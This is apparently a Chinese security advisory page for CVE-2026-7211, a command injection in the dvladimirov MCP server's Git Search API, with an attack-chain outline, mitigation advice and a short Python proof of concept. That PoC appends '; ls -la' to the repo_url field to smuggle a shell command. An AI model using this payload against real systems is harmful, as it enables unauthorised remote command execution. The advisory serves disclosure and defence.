IPBUF安全漏洞报告
English
CVE-2026-7211 CVSS 7.3 高危

CVE-2026-7211 dvladimirov MCP命令注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7211
漏洞类型
命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
dvladimirov MCP

相关标签

命令注入RCECVE-2026-7211dvladimirov MCP远程代码执行

漏洞概述

dvladimirov MCP 0.1.0及之前版本存在严重的安全漏洞。该漏洞位于组件Git Search API的mcp_server.py文件中,具体涉及GitSearchRequest函数。由于未对输入参数进行充分过滤,攻击者可利用repo_url或pattern参数执行命令注入攻击。此漏洞允许远程攻击者在无用户交互和认证的情况下执行任意操作系统命令,对系统安全构成严重威胁。目前公开PoC已发布,厂商暂未回应。

技术细节

漏洞发生在dvladimirov MCP项目的Git搜索功能模块中。在处理GitSearchRequest时,代码直接将用户提供的repo_url或pattern参数拼接到系统命令中执行,缺乏必要的安全校验和清理。这种设计缺陷使得攻击者能够注入恶意构造的Shell元字符(如`;`、`|`、`&`等),从而改变原有的命令逻辑。利用方式相对简单,攻击者只需向受影响的服务端发送特制的HTTP请求,在参数字段中插入操作系统命令。由于CVSS向量显示无需认证(PR:N)且无需用户交互(UI:N),攻击者可远程直接触发漏洞。成功利用后,攻击者可以获得与Web服务运行权限相同的Shell访问权限,进而读取敏感文件、篡改数据或破坏服务运行环境,造成信息泄露及服务中断。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行dvladimirov MCP服务,并开放了Git Search API接口。
STEP 2
漏洞利用
攻击者构造特制的HTTP POST请求,在repo_url或pattern参数中插入Shell元字符和恶意系统命令。
STEP 3
命令执行
服务器端未过滤输入,直接将参数传递给系统Shell执行,导致恶意命令在服务器后台运行。
STEP 4
建立控制
攻击者根据命令执行结果获取敏感信息,或进一步利用反弹Shell建立持久化控制通道。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:port/api/git_search" # Malicious payload to inject command (e.g., execute 'ls') # Using semicolon to chain commands command_injection = "; ls -la" # Vulnerable parameters payload_data = { "repo_url": "https://github.com/example/repo" + command_injection, "pattern": "test" } try: # Sending malicious request response = requests.post(target_url, json=payload_data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")

影响范围

dvladimirov MCP <= 0.1.0

防御指南

临时缓解措施
由于厂商尚未发布补丁,建议临时禁用Git Search API功能,或通过网络ACL限制对API端点的访问,仅允许可信的内网IP调用。同时,应在服务器层面监控异常的进程创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表